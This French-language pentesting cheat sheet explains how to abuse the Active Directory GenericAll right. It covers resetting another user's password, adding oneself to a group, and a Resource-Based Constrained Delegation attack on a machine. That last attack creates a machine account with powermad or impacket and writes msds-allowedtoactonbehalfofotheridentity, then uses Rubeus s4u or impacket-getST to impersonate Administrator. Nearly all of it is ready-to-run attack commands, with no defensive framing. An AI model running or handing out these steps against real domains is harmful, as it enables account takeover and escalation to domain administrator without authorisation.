Le droit GenericAll permet un contrôle total sur l'objet cible. Il peut être appliqué à des utilisateurs, des groupes ou des machines. Voici comment exploiter ce droit dans différents contextes :
📝GenericAll sur un Utilisateur
Si un utilisateur a le droit GenericAll sur un autre utilisateur, il est possible de réinitialiser le mot de passe de l'utilisateur cible.
🍔 Depuis Windows
Utilisez la commande suivante pour réinitialiser le mot de passe d'un utilisateur depuis un environnement Windows :
net user $userCible $nouveauPassword /domain🐧 Depuis Linux
Depuis un environnement Linux, vous pouvez utiliser la commande suivante :
net rpc user password $userCible $nouveauPass -U domain.local/$noreUser -S $dcMettre un mot de passe en adéquation avec la politique de mot de passe du domaine, sinon celui-ci ne sera pas attribué et rien ne nous l'indique.
📝 GenericAll sur un Groupe
Si un utilisateur a le droit GenericAll sur un groupe, il peut s'ajouter en tant que membre de ce groupe.
🍔 Depuis Windows
Utilisez les commandes suivantes pour ajouter un utilisateur à un groupe depuis un environnement Windows :
net group "$groupeCible" $userCible /add /domain #cmd
Add-ADGroupMember -Identity "$groupeCible" -Members $userCible #powershell
Add-ADGroupMember -Identity "$groupeCible" -Members $userCible #powersploit📝 GenericAll sur une Machine
Le droit GenericAll sur une machine permet d'abuser de la Resource-Based Constrained Delegation (RBCD).
🍔 Depuis Windows
Pour exploiter ce droit, nous avons besoin des scripts powermad.ps1 et powerview.
Création d'un compte machine :
import-module powermad
New-MachineAccount -MachineAccount paked -Password $(ConvertTo-SecureString 'Sup3P4ssw0rd!' -AsPlainText -Force) -VerboseVérification de la création du compte :
Get-DomainComputerÉcriture de la propriété msds-allowedtoactonbehalfofotheridentity sur le compte machine cible :
$ComputerSid = Get-DomainComputer paked -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $cible | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}Récupération du hash du compte machine créé :
.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.localRécupération du ticket de l'utilisateur ayant des droits sur le compte machine cible :
rubeus.exe s4u /user:paked$ /aes256:<aes256> /aes128:<aes128> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/cible /domain:domain.local /ptt /altservice:http/cible🐧 Depuis Linux
Création d'un compte machine :
impacket-addcomputer -computer-name 'COMPUTER$' -computer-pass '$password' -dc-host $dc -domain-netbios $DOMAIN 'domain.local\$user:$password'Écriture de la propriété msds-allowedtoactonbehalfofotheridentity sur le compte machine cible :
impacket-rbcd -delegate-from 'paked$' -delegate-to 'cible$' -dc-ip '$dc$' -action 'write' 'domain.local'/'$utilisateur':'$Password'Récupération du ticket de l'utilisateur ayant des droits sur le compte machine cible :
impacket-getST -spn 'cifs/$cible' -impersonate Administrator -dc-ip '$dc' 'domain.local/paked$:$password'